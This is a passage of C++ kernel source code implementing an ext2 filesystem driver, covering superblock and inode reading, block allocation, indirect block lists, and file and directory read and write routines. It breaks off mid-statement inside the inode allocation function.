#include <AK/Bitmap.h> #include <AK/BufferStream.h> #include <AK/StdLibExtras.h> #include <Kernel/FileSystem/Ext2FileSystem.h> #include <Kernel/FileSystem/ext2_fs.h> #include <Kernel/Process.h> #include <Kernel/RTC.h> #include <Kernel/UnixTypes.h> #include <LibC/errno_numbers.h> //#define EXT2_DEBUG static const size_t max_block_size = 4096; static const ssize_t max_inline_symlink_length = 60; static u8 to_ext2_file_type(mode_t mode) { if (is_regular_file(mode)) return EXT2_FT_REG_FILE; if (is_directory(mode)) return EXT2_FT_DIR; if (is_character_device(mode)) return EXT2_FT_CHRDEV; if (is_block_device(mode)) return EXT2_FT_BLKDEV; if (is_fifo(mode)) return EXT2_FT_FIFO; if (is_socket(mode)) return EXT2_FT_SOCK; if (is_symlink(mode)) return EXT2_FT_SYMLINK; return EXT2_FT_UNKNOWN; } NonnullRefPtr<Ext2FS> Ext2FS::create(NonnullRefPtr<DiskDevice> device) { return adopt(*new Ext2FS(move(device))); } Ext2FS::Ext2FS(NonnullRefPtr<DiskDevice>&& device) : DiskBackedFS(move(device)) { } Ext2FS::~Ext2FS() { } ByteBuffer Ext2FS::read_super_block() const { LOCKER(m_lock); auto buffer = ByteBuffer::create_uninitialized(1024); bool success = device().read_block(2, buffer.data()); ASSERT(success); success = device().read_block(3, buffer.offset_pointer(512)); ASSERT(success); return buffer; } bool Ext2FS::write_super_block(const ext2_super_block& sb) { LOCKER(m_lock); const u8* raw = (const u8*)&sb; bool success; success = device().write_block(2, raw); ASSERT(success); success = device().write_block(3, raw + 512); ASSERT(success); // FIXME: This is an ugly way to refresh the superblock cache. :-| super_block(); return true; } unsigned Ext2FS::first_block_of_group(GroupIndex group_index) const { return super_block().s_first_data_block + (group_index * super_block().s_blocks_per_group); } const ext2_super_block& Ext2FS::super_block() const { if (!m_cached_super_block) m_cached_super_block = read_super_block(); return *reinterpret_cast<ext2_super_block*>(m_cached_super_block.data()); } const ext2_group_desc& Ext2FS::group_descriptor(GroupIndex group_index) const { // FIXME: Should this fail gracefully somehow? ASSERT(group_index <= m_block_group_count); if (!m_cached_group_descriptor_table) { LOCKER(m_lock); unsigned blocks_to_read = ceil_div(m_block_group_count * (unsigned)sizeof(ext2_group_desc), block_size()); unsigned first_block_of_bgdt = block_size() == 1024 ? 2 : 1; #ifdef EXT2_DEBUG kprintf("ext2fs: block group count: %u, blocks-to-read: %u\n", m_block_group_count, blocks_to_read); kprintf("ext2fs: first block of BGDT: %u\n", first_block_of_bgdt); #endif m_cached_group_descriptor_table = ByteBuffer::create_uninitialized(block_size() * blocks_to_read); read_blocks(first_block_of_bgdt, blocks_to_read, m_cached_group_descriptor_table.data()); } return reinterpret_cast<ext2_group_desc*>(m_cached_group_descriptor_table.data())[group_index - 1]; } bool Ext2FS::initialize() { auto& super_block = this->super_block(); #ifdef EXT2_DEBUG kprintf("ext2fs: super block magic: %x (super block size: %u)\n", super_block.s_magic, sizeof(ext2_super_block)); #endif if (super_block.s_magic != EXT2_SUPER_MAGIC) return false; #ifdef EXT2_DEBUG kprintf("ext2fs: %u inodes, %u blocks\n", super_block.s_inodes_count, super_block.s_blocks_count); kprintf("ext2fs: block size = %u\n", EXT2_BLOCK_SIZE(&super_block)); kprintf("ext2fs: first data block = %u\n", super_block.s_first_data_block); kprintf("ext2fs: inodes per block = %u\n", inodes_per_block()); kprintf("ext2fs: inodes per group = %u\n", inodes_per_group()); kprintf("ext2fs: free inodes = %u\n", super_block.s_free_inodes_count); kprintf("ext2fs: desc per block = %u\n", EXT2_DESC_PER_BLOCK(&super_block)); kprintf("ext2fs: desc size = %u\n", EXT2_DESC_SIZE(&super_block)); #endif set_block_size(EXT2_BLOCK_SIZE(&super_block)); ASSERT(block_size() <= (int)max_block_size); m_block_group_count = ceil_div(super_block.s_blocks_count, super_block.s_blocks_per_group); if (m_block_group_count == 0) { kprintf("ext2fs: no block groups :(\n"); return false; } // Preheat the BGD cache. group_descriptor(0); #ifdef EXT2_DEBUG for (unsigned i = 1; i <= m_block_group_count; ++i) { auto& group = group_descriptor(i); kprintf("ext2fs: group[%u] { block_bitmap: %u, inode_bitmap: %u, inode_table: %u }\n", i, group.bg_block_bitmap, group.bg_inode_bitmap, group.bg_inode_table); } #endif return true; } const char* Ext2FS::class_name() const { return "Ext2FS"; } InodeIdentifier Ext2FS::root_inode() const { return { fsid(), EXT2_ROOT_INO }; } bool Ext2FS::read_block_containing_inode(unsigned inode, unsigned& block_index, unsigned& offset, u8* buffer) const { LOCKER(m_lock); auto& super_block = this->super_block(); if (inode != EXT2_ROOT_INO && inode < EXT2_FIRST_INO(&super_block)) return false; if (inode > super_block.s_inodes_count) return false; auto& bgd = group_descriptor(group_index_from_inode(inode)); offset = ((inode - 1) % inodes_per_group()) * inode_size(); block_index = bgd.bg_inode_table + (offset >> EXT2_BLOCK_SIZE_BITS(&super_block)); offset &= block_size() - 1; return read_block(block_index, buffer); } Ext2FS::BlockListShape Ext2FS::compute_block_list_shape(unsigned blocks) { BlockListShape shape; const unsigned entries_per_block = EXT2_ADDR_PER_BLOCK(&super_block()); unsigned blocks_remaining = blocks; shape.direct_blocks = min((unsigned)EXT2_NDIR_BLOCKS, blocks_remaining); blocks_remaining -= shape.direct_blocks; if (!blocks_remaining) return shape; shape.indirect_blocks = min(blocks_remaining, entries_per_block); blocks_remaining -= shape.indirect_blocks; shape.meta_blocks += 1; if (!blocks_remaining) return shape; shape.doubly_indirect_blocks = min(blocks_remaining, entries_per_block * entries_per_block); blocks_remaining -= shape.doubly_indirect_blocks; shape.meta_blocks += 1; shape.meta_blocks += shape.doubly_indirect_blocks / entries_per_block; if ((shape.doubly_indirect_blocks % entries_per_block) != 0) shape.meta_blocks += 1; if (!blocks_remaining) return shape; dbg() << "we don't know how to compute tind ext2fs blocks yet!"; ASSERT_NOT_REACHED(); shape.triply_indirect_blocks = min(blocks_remaining, entries_per_block * entries_per_block * entries_per_block); blocks_remaining -= shape.triply_indirect_blocks; if (!blocks_remaining) return shape; ASSERT_NOT_REACHED(); return {}; } bool Ext2FS::write_block_list_for_inode(InodeIndex inode_index, ext2_inode& e2inode, const Vector<BlockIndex>& blocks) { LOCKER(m_lock); // NOTE: There is a mismatch between i_blocks and blocks.size() since i_blocks includes meta blocks and blocks.size() does not. auto old_block_count = ceil_div(e2inode.i_size, block_size()); auto old_shape = compute_block_list_shape(old_block_count); auto new_shape = compute_block_list_shape(blocks.size()); Vector<BlockIndex> new_meta_blocks; if (new_shape.meta_blocks > old_shape.meta_blocks) { new_meta_blocks = allocate_blocks(group_index_from_inode(inode_index), new_shape.meta_blocks - old_shape.meta_blocks); } e2inode.i_blocks = (blocks.size() + new_shape.meta_blocks) * (block_size() / 512); bool inode_dirty = false; unsigned output_block_index = 0; unsigned remaining_blocks = blocks.size(); for (unsigned i = 0; i < new_shape.direct_blocks; ++i) { if (e2inode.i_block[i] != blocks[output_block_index]) inode_dirty = true; e2inode.i_block[i] = blocks[output_block_index]; ++output_block_index; --remaining_blocks; } if (inode_dirty) { #ifdef EXT2_DEBUG dbgprintf("Ext2FS: Writing %u direct block(s) to i_block array of inode %u\n", min(EXT2_NDIR_BLOCKS, blocks.size()), inode_index); for (int i = 0; i < min(EXT2_NDIR_BLOCKS, blocks.size()); ++i) dbgprintf(" + %u\n", blocks[i]); #endif write_ext2_inode(inode_index, e2inode); inode_dirty = false; } if (!remaining_blocks) return true; const unsigned entries_per_block = EXT2_ADDR_PER_BLOCK(&super_block()); bool ind_block_new = !e2inode.i_block[EXT2_IND_BLOCK]; if (ind_block_new) { BlockIndex new_indirect_block = new_meta_blocks.take_last(); if (e2inode.i_block[EXT2_IND_BLOCK] != new_indirect_block) inode_dirty = true; e2inode.i_block[EXT2_IND_BLOCK] = new_indirect_block; if (inode_dirty) { #ifdef EXT2_DEBUG dbgprintf("Ext2FS: Adding the indirect block to i_block array of inode %u\n", inode_index); #endif write_ext2_inode(inode_index, e2inode); inode_dirty = false; } } if (old_shape.indirect_blocks == new_shape.indirect_blocks) { // No need to update the singly indirect block array. remaining_blocks -= new_shape.indirect_blocks; output_block_index += new_shape.indirect_blocks; } else { auto block_contents = ByteBuffer::create_uninitialized(block_size()); BufferStream stream(block_contents); ASSERT(new_shape.indirect_blocks <= entries_per_block); for (unsigned i = 0; i < new_shape.indirect_blocks; ++i) { stream << blocks[output_block_index++]; --remaining_blocks; } stream.fill_to_end(0); bool success = write_block(e2inode.i_block[EXT2_IND_BLOCK], block_contents.data()); ASSERT(success); } if (!remaining_blocks) return true; bool dind_block_dirty = false; bool dind_block_new = !e2inode.i_block[EXT2_DIND_BLOCK]; if (dind_block_new) { BlockIndex new_dindirect_block = new_meta_blocks.take_last(); if (e2inode.i_block[EXT2_DIND_BLOCK] != new_dindirect_block) inode_dirty = true; e2inode.i_block[EXT2_DIND_BLOCK] = new_dindirect_block; if (inode_dirty) { #ifdef EXT2_DEBUG dbgprintf("Ext2FS: Adding the doubly-indirect block to i_block array of inode %u\n", inode_index); #endif write_ext2_inode(inode_index, e2inode); inode_dirty = false; } } if (old_shape.doubly_indirect_blocks == new_shape.doubly_indirect_blocks) { // No need to update the doubly indirect block data. remaining_blocks -= new_shape.doubly_indirect_blocks; output_block_index += new_shape.doubly_indirect_blocks; } else { unsigned indirect_block_count = new_shape.doubly_indirect_blocks / entries_per_block; if ((new_shape.doubly_indirect_blocks % entries_per_block) != 0) indirect_block_count++; auto dind_block_contents = ByteBuffer::create_uninitialized(block_size()); read_block(e2inode.i_block[EXT2_DIND_BLOCK], dind_block_contents.data()); if (dind_block_new) { memset(dind_block_contents.data(), 0, dind_block_contents.size()); dind_block_dirty = true; } auto* dind_block_as_pointers = (unsigned*)dind_block_contents.data(); ASSERT(indirect_block_count <= entries_per_block); for (unsigned i = 0; i < indirect_block_count; ++i) { bool ind_block_dirty = false; BlockIndex indirect_block_index = dind_block_as_pointers[i]; bool ind_block_new = !indirect_block_index; if (ind_block_new) { indirect_block_index = new_meta_blocks.take_last(); dind_block_as_pointers[i] = indirect_block_index; dind_block_dirty = true; } auto ind_block_contents = ByteBuffer::create_uninitialized(block_size()); read_block(indirect_block_index, ind_block_contents.data()); if (ind_block_new) { memset(ind_block_contents.data(), 0, dind_block_contents.size()); ind_block_dirty = true; } auto* ind_block_as_pointers = (unsigned*)ind_block_contents.data(); unsigned entries_to_write = new_shape.doubly_indirect_blocks - (i * entries_per_block); if (entries_to_write > entries_per_block) entries_to_write = entries_per_block; ASSERT(entries_to_write <= entries_per_block); for (unsigned j = 0; j < entries_to_write; ++j) { BlockIndex output_block = blocks[output_block_index++]; if (ind_block_as_pointers[j] != output_block) { ind_block_as_pointers[j] = output_block; ind_block_dirty = true; } --remaining_blocks; } for (unsigned j = entries_to_write; j < entries_per_block; ++j) { if (ind_block_as_pointers[j] != 0) { ind_block_as_pointers[j] = 0; ind_block_dirty = true; } } if (ind_block_dirty) { bool success = write_block(indirect_block_index, ind_block_contents.data()); ASSERT(success); } } for (unsigned i = indirect_block_count; i < entries_per_block; ++i) { if (dind_block_as_pointers[i] != 0) { dind_block_as_pointers[i] = 0; dind_block_dirty = true; } } if (dind_block_dirty) { bool success = write_block(e2inode.i_block[EXT2_DIND_BLOCK], dind_block_contents.data()); ASSERT(success); } } if (!remaining_blocks) return true; // FIXME: Implement! dbg() << "we don't know how to write tind ext2fs blocks yet!"; ASSERT_NOT_REACHED(); } Vector<Ext2FS::BlockIndex> Ext2FS::block_list_for_inode(const ext2_inode& e2inode, bool include_block_list_blocks) const { LOCKER(m_lock); unsigned entries_per_block = EXT2_ADDR_PER_BLOCK(&super_block()); // NOTE: i_blocks is number of 512-byte blocks, not number of fs-blocks. unsigned block_count = e2inode.i_blocks / (block_size() / 512); #ifdef EXT2_DEBUG dbgprintf("Ext2FS::block_list_for_inode(): i_size=%u, i_blocks=%u, block_count=%u\n", e2inode.i_size, block_count); #endif unsigned blocks_remaining = block_count; Vector<BlockIndex> list; if (include_block_list_blocks) { // This seems like an excessive over-estimate but w/e. list.ensure_capacity(blocks_remaining * 2); } else { list.ensure_capacity(blocks_remaining); } unsigned direct_count = min(block_count, (unsigned)EXT2_NDIR_BLOCKS); for (unsigned i = 0; i < direct_count; ++i) { auto block_index = e2inode.i_block[i]; if (!block_index) return list; list.unchecked_append(block_index); --blocks_remaining; } if (!blocks_remaining) return list; auto process_block_array = [&](unsigned array_block_index, auto&& callback) { if (include_block_list_blocks) callback(array_block_index); auto array_block = ByteBuffer::create_uninitialized(block_size()); read_block(array_block_index, array_block.data()); ASSERT(array_block); auto* array = reinterpret_cast<const __u32*>(array_block.data()); unsigned count = min(blocks_remaining, entries_per_block); for (unsigned i = 0; i < count; ++i) { if (!array[i]) { blocks_remaining = 0; return; } callback(array[i]); --blocks_remaining; } }; process_block_array(e2inode.i_block[EXT2_IND_BLOCK], [&](unsigned entry) { list.unchecked_append(entry); }); if (!blocks_remaining) return list; process_block_array(e2inode.i_block[EXT2_DIND_BLOCK], [&](unsigned entry) { process_block_array(entry, [&](unsigned entry) { list.unchecked_append(entry); }); }); if (!blocks_remaining) return list; process_block_array(e2inode.i_block[EXT2_TIND_BLOCK], [&](unsigned entry) { process_block_array(entry, [&](unsigned entry) { process_block_array(entry, [&](unsigned entry) { list.unchecked_append(entry); }); }); }); return list; } void Ext2FS::free_inode(Ext2FSInode& inode) { LOCKER(m_lock); ASSERT(inode.m_raw_inode.i_links_count == 0); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: inode %u has no more links, time to delete!\n", inode.index()); #endif struct timeval now; kgettimeofday(now); inode.m_raw_inode.i_dtime = now.tv_sec; write_ext2_inode(inode.index(), inode.m_raw_inode); auto block_list = block_list_for_inode(inode.m_raw_inode, true); for (auto block_index : block_list) set_block_allocation_state(block_index, false); set_inode_allocation_state(inode.index(), false); if (inode.is_directory()) { auto& bgd = const_cast<ext2_group_desc&>(group_descriptor(group_index_from_inode(inode.index()))); --bgd.bg_used_dirs_count; dbgprintf("Ext2FS: decremented bg_used_dirs_count %u -> %u\n", bgd.bg_used_dirs_count - 1, bgd.bg_used_dirs_count); flush_block_group_descriptor_table(); } } void Ext2FS::flush_block_group_descriptor_table() { LOCKER(m_lock); unsigned blocks_to_write = ceil_div(m_block_group_count * (unsigned)sizeof(ext2_group_desc), block_size()); unsigned first_block_of_bgdt = block_size() == 1024 ? 2 : 1; write_blocks(first_block_of_bgdt, blocks_to_write, m_cached_group_descriptor_table.data()); } Ext2FSInode::Ext2FSInode(Ext2FS& fs, unsigned index) : Inode(fs, index) { } Ext2FSInode::~Ext2FSInode() { if (m_raw_inode.i_links_count == 0) fs().free_inode(*this); } InodeMetadata Ext2FSInode::metadata() const { // FIXME: This should probably take the inode lock, no? InodeMetadata metadata; metadata.inode = identifier(); metadata.size = m_raw_inode.i_size; metadata.mode = m_raw_inode.i_mode; metadata.uid = m_raw_inode.i_uid; metadata.gid = m_raw_inode.i_gid; metadata.link_count = m_raw_inode.i_links_count; metadata.atime = m_raw_inode.i_atime; metadata.ctime = m_raw_inode.i_ctime; metadata.mtime = m_raw_inode.i_mtime; metadata.dtime = m_raw_inode.i_dtime; metadata.block_size = fs().block_size(); metadata.block_count = m_raw_inode.i_blocks; if (::is_character_device(m_raw_inode.i_mode) || ::is_block_device(m_raw_inode.i_mode)) { unsigned dev = m_raw_inode.i_block[0]; if (!dev) dev = m_raw_inode.i_block[1]; metadata.major_device = (dev & 0xfff00) >> 8; metadata.minor_device = (dev & 0xff) | ((dev >> 12) & 0xfff00); } return metadata; } void Ext2FSInode::flush_metadata() { LOCKER(m_lock); #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode: flush_metadata for inode %u\n", index()); #endif fs().write_ext2_inode(index(), m_raw_inode); if (is_directory()) { // Unless we're about to go away permanently, invalidate the lookup cache. if (m_raw_inode.i_links_count != 0) { // FIXME: This invalidation is way too hardcore. It's sad to throw away the whole cache. m_lookup_cache.clear(); } } set_metadata_dirty(false); } RefPtr<Inode> Ext2FS::get_inode(InodeIdentifier inode) const { LOCKER(m_lock); ASSERT(inode.fsid() == fsid()); { auto it = m_inode_cache.find(inode.index()); if (it != m_inode_cache.end()) return (*it).value; } if (!get_inode_allocation_state(inode.index())) { m_inode_cache.set(inode.index(), nullptr); return nullptr; } unsigned block_index; unsigned offset; u8 block[max_block_size]; if (!read_block_containing_inode(inode.index(), block_index, offset, block)) return {}; auto it = m_inode_cache.find(inode.index()); if (it != m_inode_cache.end()) return (*it).value; auto new_inode = adopt(*new Ext2FSInode(const_cast<Ext2FS&>(*this), inode.index())); memcpy(&new_inode->m_raw_inode, reinterpret_cast<ext2_inode*>(block + offset), sizeof(ext2_inode)); m_inode_cache.set(inode.index(), new_inode); return new_inode; } ssize_t Ext2FSInode::read_bytes(off_t offset, ssize_t count, u8* buffer, FileDescription*) const { Locker inode_locker(m_lock); ASSERT(offset >= 0); if (m_raw_inode.i_size == 0) return 0; // Symbolic links shorter than 60 characters are store inline inside the i_block array. // This avoids wasting an entire block on short links. (Most links are short.) if (is_symlink() && size() < max_inline_symlink_length) { ssize_t nread = min((off_t)size() - offset, static_cast<off_t>(count)); memcpy(buffer, ((const u8*)m_raw_inode.i_block) + offset, (size_t)nread); return nread; } Locker fs_locker(fs().m_lock); if (m_block_list.is_empty()) { auto block_list = fs().block_list_for_inode(m_raw_inode); if (m_block_list.size() != block_list.size()) m_block_list = move(block_list); } if (m_block_list.is_empty()) { kprintf("ext2fs: read_bytes: empty block list for inode %u\n", index()); return -EIO; } const int block_size = fs().block_size(); int first_block_logical_index = offset / block_size; int last_block_logical_index = (offset + count) / block_size; if (last_block_logical_index >= m_block_list.size()) last_block_logical_index = m_block_list.size() - 1; int offset_into_first_block = offset % block_size; ssize_t nread = 0; int remaining_count = min((off_t)count, (off_t)size() - offset); u8* out = buffer; #ifdef EXT2_DEBUG kprintf("Ext2FS: Reading up to %u bytes %d bytes into inode %u:%u to %p\n", count, offset, identifier().fsid(), identifier().index(), buffer); //kprintf("ok let's do it, read(%u, %u) -> blocks %u thru %u, oifb: %u\n", offset, count, first_block_logical_index, last_block_logical_index, offset_into_first_block); #endif u8 block[max_block_size]; for (int bi = first_block_logical_index; remaining_count && bi <= last_block_logical_index; ++bi) { bool success = fs().read_block(m_block_list[bi], block); if (!success) { kprintf("ext2fs: read_bytes: read_block(%u) failed (lbi: %u)\n", m_block_list[bi], bi); return -EIO; } int offset_into_block = (bi == first_block_logical_index) ? offset_into_first_block : 0; int num_bytes_to_copy = min(block_size - offset_into_block, remaining_count); memcpy(out, block + offset_into_block, num_bytes_to_copy); remaining_count -= num_bytes_to_copy; nread += num_bytes_to_copy; out += num_bytes_to_copy; } return nread; } bool Ext2FSInode::resize(u64 new_size) { u64 block_size = fs().block_size(); u64 old_size = size(); int blocks_needed_before = ceil_div(old_size, block_size); int blocks_needed_after = ceil_div(new_size, block_size); #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode::resize(): blocks needed before (size was %Q): %d\n", old_size, blocks_needed_before); dbgprintf("Ext2FSInode::resize(): blocks needed after (size is %Q): %d\n", new_size, blocks_needed_after); #endif auto block_list = fs().block_list_for_inode(m_raw_inode); if (blocks_needed_after > blocks_needed_before) { auto new_blocks = fs().allocate_blocks(fs().group_index_from_inode(index()), blocks_needed_after - blocks_needed_before); block_list.append(move(new_blocks)); } else if (blocks_needed_after < blocks_needed_before) { #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode::resize(): Shrinking. Old block list is %d entries:\n", block_list.size()); for (auto block_index : block_list) { dbgprintf(" # %u\n", block_index); } #endif while (block_list.size() != blocks_needed_after) { auto block_index = block_list.take_last(); fs().set_block_allocation_state(block_index, false); } } bool success = fs().write_block_list_for_inode(index(), m_raw_inode, block_list); if (!success) return false; m_raw_inode.i_size = new_size; set_metadata_dirty(true); m_block_list = move(block_list); return true; } ssize_t Ext2FSInode::write_bytes(off_t offset, ssize_t count, const u8* data, FileDescription*) { ASSERT(offset >= 0); ASSERT(count >= 0); Locker inode_locker(m_lock); Locker fs_locker(fs().m_lock); if (is_symlink()) { if ((offset + count) < max_inline_symlink_length) { #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode: write_bytes poking into i_block array for inline symlink '%s' (%u bytes)\n", String((const char*)data, count).characters(), count); #endif memcpy(((u8*)m_raw_inode.i_block) + offset, data, (size_t)count); if ((offset + count) > (off_t)m_raw_inode.i_size) m_raw_inode.i_size = offset + count; set_metadata_dirty(true); return count; } } const ssize_t block_size = fs().block_size(); u64 old_size = size(); u64 new_size = max(static_cast<u64>(offset) + count, (u64)size()); if (!resize(new_size)) return -EIO; int first_block_logical_index = offset / block_size; int last_block_logical_index = (offset + count) / block_size; if (last_block_logical_index >= m_block_list.size()) last_block_logical_index = m_block_list.size() - 1; int offset_into_first_block = offset % block_size; int last_logical_block_index_in_file = new_size / block_size; ssize_t nwritten = 0; int remaining_count = min((off_t)count, (off_t)new_size - offset); const u8* in = data; #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode::write_bytes: Writing %u bytes %d bytes into inode %u:%u from %p\n", count, offset, fsid(), index(), data); #endif auto buffer_block = ByteBuffer::create_uninitialized(block_size); for (int bi = first_block_logical_index; remaining_count && bi <= last_block_logical_index; ++bi) { int offset_into_block = (bi == first_block_logical_index) ? offset_into_first_block : 0; int num_bytes_to_copy = min(block_size - offset_into_block, remaining_count); ByteBuffer block; if (offset_into_block != 0 || num_bytes_to_copy != block_size) { block = ByteBuffer::create_uninitialized(block_size); bool success = fs().read_block(m_block_list[bi], block.data()); if (!success) { kprintf("Ext2FSInode::write_bytes: read_block(%u) failed (lbi: %u)\n", m_block_list[bi], bi); return -EIO; } } else block = buffer_block; memcpy(block.data() + offset_into_block, in, num_bytes_to_copy); if (bi == last_logical_block_index_in_file && num_bytes_to_copy < block_size) { int padding_start = new_size % block_size; int padding_bytes = block_size - padding_start; #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode::write_bytes padding last block of file with zero x %u (new_size=%u, offset_into_block=%u, num_bytes_to_copy=%u)\n", padding_bytes, new_size, offset_into_block, num_bytes_to_copy); #endif memset(block.data() + padding_start, 0, padding_bytes); } #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode::write_bytes: writing block %u (offset_into_block: %u)\n", m_block_list[bi], offset_into_block); #endif bool success = fs().write_block(m_block_list[bi], block.data()); if (!success) { kprintf("Ext2FSInode::write_bytes: write_block(%u) failed (lbi: %u)\n", m_block_list[bi], bi); ASSERT_NOT_REACHED(); return -EIO; } remaining_count -= num_bytes_to_copy; nwritten += num_bytes_to_copy; in += num_bytes_to_copy; } #ifdef EXT2_DEBUG dbgprintf("Ext2FSInode::write_bytes: after write, i_size=%u, i_blocks=%u (%u blocks in list)\n", m_raw_inode.i_size, m_raw_inode.i_blocks, m_block_list.size()); #endif if (old_size != new_size) inode_size_changed(old_size, new_size); inode_contents_changed(offset, count, data); return nwritten; } bool Ext2FSInode::traverse_as_directory(Function<bool(const FS::DirectoryEntry&)> callback) const { LOCKER(m_lock); ASSERT(is_directory()); #ifdef EXT2_DEBUG kprintf("Ext2Inode::traverse_as_directory: inode=%u:\n", index()); #endif auto buffer = read_entire(); ASSERT(buffer); auto* entry = reinterpret_cast<ext2_dir_entry_2*>(buffer.data()); while (entry < buffer.end_pointer()) { if (entry->inode != 0) { #ifdef EXT2_DEBUG kprintf("Ext2Inode::traverse_as_directory: %u, name_len: %u, rec_len: %u, file_type: %u, name: %s\n", entry->inode, entry->name_len, entry->rec_len, entry->file_type, String(entry->name, entry->name_len).characters()); #endif if (!callback({ entry->name, entry->name_len, { fsid(), entry->inode }, entry->file_type })) break; } entry = (ext2_dir_entry_2*)((char*)entry + entry->rec_len); } return true; } bool Ext2FSInode::write_directory(const Vector<FS::DirectoryEntry>& entries) { LOCKER(m_lock); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: New directory inode %u contents to write:\n", index()); #endif int directory_size = 0; for (auto& entry : entries) { //kprintf(" - %08u %s\n", entry.inode.index(), entry.name); directory_size += EXT2_DIR_REC_LEN(entry.name_length); } auto block_size = fs().block_size(); int blocks_needed = ceil_div(directory_size, block_size); int occupied_size = blocks_needed * block_size; #ifdef EXT2_DEBUG dbgprintf("Ext2FS: directory size: %u (occupied: %u)\n", directory_size, occupied_size); #endif auto directory_data = ByteBuffer::create_uninitialized(occupied_size); BufferStream stream(directory_data); for (int i = 0; i < entries.size(); ++i) { auto& entry = entries[i]; int record_length = EXT2_DIR_REC_LEN(entry.name_length); if (i == entries.size() - 1) record_length += occupied_size - directory_size; #ifdef EXT2_DEBUG dbgprintf("* inode: %u", entry.inode.index()); dbgprintf(", name_len: %u", u16(entry.name_length)); dbgprintf(", rec_len: %u", u16(record_length)); dbgprintf(", file_type: %u", u8(entry.file_type)); dbgprintf(", name: %s\n", entry.name); #endif stream << u32(entry.inode.index()); stream << u16(record_length); stream << u8(entry.name_length); stream << u8(entry.file_type); stream << entry.name; int padding = record_length - entry.name_length - 8; for (int j = 0; j < padding; ++j) stream << u8(0); } stream.fill_to_end(0); ssize_t nwritten = write_bytes(0, directory_data.size(), directory_data.data(), nullptr); return nwritten == directory_data.size(); } KResult Ext2FSInode::add_child(InodeIdentifier child_id, const StringView& name, mode_t mode) { LOCKER(m_lock); ASSERT(is_directory()); if (name.length() > EXT2_NAME_LEN) return KResult(-ENAMETOOLONG); #ifdef EXT2_DEBUG dbg() << "Ext2FSInode::add_child(): Adding inode " << child_id.index() << " with name '" << name << " and mode " << mode << " to directory " << index(); #endif Vector<FS::DirectoryEntry> entries; bool name_already_exists = false; traverse_as_directory([&](auto& entry) { if (name == entry.name) { name_already_exists = true; return false; } entries.append(entry); return true; }); if (name_already_exists) { dbg() << "Ext2FSInode::add_child(): Name '" << name << "' already exists in inode " << index(); return KResult(-EEXIST); } auto child_inode = fs().get_inode(child_id); if (child_inode) child_inode->increment_link_count(); entries.empend(name.characters_without_null_termination(), name.length(), child_id, to_ext2_file_type(mode)); bool success = write_directory(entries); if (success) m_lookup_cache.set(name, child_id.index()); return KSuccess; } KResult Ext2FSInode::remove_child(const StringView& name) { LOCKER(m_lock); #ifdef EXT2_DEBUG dbg() << "Ext2FSInode::remove_child(" << name << ") in inode " << index(); #endif ASSERT(is_directory()); unsigned child_inode_index; auto it = m_lookup_cache.find(name); if (it == m_lookup_cache.end()) return KResult(-ENOENT); child_inode_index = (*it).value; InodeIdentifier child_id { fsid(), child_inode_index }; #ifdef EXT2_DEBUG dbg() << "Ext2FSInode::remove_child(): Removing '" << name << "' in directory " << index(); #endif Vector<FS::DirectoryEntry> entries; traverse_as_directory([&](auto& entry) { if (name != entry.name) entries.append(entry); return true; }); bool success = write_directory(entries); if (!success) { // FIXME: Plumb error from write_directory(). return KResult(-EIO); } m_lookup_cache.remove(name); auto child_inode = fs().get_inode(child_id); child_inode->decrement_link_count(); return KSuccess; } unsigned Ext2FS::inodes_per_block() const { return EXT2_INODES_PER_BLOCK(&super_block()); } unsigned Ext2FS::inodes_per_group() const { return EXT2_INODES_PER_GROUP(&super_block()); } unsigned Ext2FS::inode_size() const { return EXT2_INODE_SIZE(&super_block()); } unsigned Ext2FS::blocks_per_group() const { return EXT2_BLOCKS_PER_GROUP(&super_block()); } bool Ext2FS::write_ext2_inode(unsigned inode, const ext2_inode& e2inode) { LOCKER(m_lock); unsigned block_index; unsigned offset; u8 block[max_block_size]; if (!read_block_containing_inode(inode, block_index, offset, block)) return false; memcpy(reinterpret_cast<ext2_inode*>(block + offset), &e2inode, inode_size()); bool success = write_block(block_index, block); ASSERT(success); return success; } Ext2FS::BlockIndex Ext2FS::allocate_block(GroupIndex preferred_group_index) { LOCKER(m_lock); #ifdef EXT2_DEBUG dbg() << "Ext2FS: allocate_block() preferred_group_index: " << preferred_group_index; #endif bool found_a_group = false; GroupIndex group_index = preferred_group_index; if (group_descriptor(preferred_group_index).bg_free_blocks_count) { found_a_group = true; } else { for (group_index = 1; group_index < m_block_group_count; ++group_index) { if (group_descriptor(group_index).bg_free_blocks_count) { found_a_group = true; break; } } } ASSERT(found_a_group); auto& bgd = group_descriptor(group_index); auto bitmap_block = ByteBuffer::create_uninitialized(block_size()); read_block(bgd.bg_block_bitmap, bitmap_block.data()); int blocks_in_group = min(blocks_per_group(), super_block().s_blocks_count); auto block_bitmap = Bitmap::wrap(bitmap_block.data(), blocks_in_group); BlockIndex first_block_in_group = (group_index - 1) * blocks_per_group() + first_block_index(); int first_unset_bit_index = block_bitmap.find_first_unset(); ASSERT(first_unset_bit_index != -1); BlockIndex block_index = (unsigned)first_unset_bit_index + first_block_in_group; set_block_allocation_state(block_index, true); return block_index; } Vector<Ext2FS::BlockIndex> Ext2FS::allocate_blocks(GroupIndex preferred_group_index, int count) { LOCKER(m_lock); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: allocate_blocks(preferred group: %u, count: %u)\n", preferred_group_index, count); #endif if (count == 0) return {}; Vector<BlockIndex> blocks; #ifdef EXT2_DEBUG dbg() << "Ext2FS: allocate_blocks:"; #endif blocks.ensure_capacity(count); for (int i = 0; i < count; ++i) { auto block_index = allocate_block(preferred_group_index); blocks.unchecked_append(block_index); #ifdef EXT2_DEBUG dbg() << " > " << block_index; #endif } ASSERT(blocks.size() == count); return blocks; } unsigned Ext2FS::allocate_inode(GroupIndex preferred_group, off_t expected_size) { LOCKER(m_lock); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: allocate_inode(preferredGroup: %u, expected_size: %u)\n", preferred_group, expected_size); #endif unsigned needed_blocks = ceil_div(expected_size, block_size()); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: minimum needed blocks: %u\n", needed_blocks); #endif unsigned group_index = 0; auto 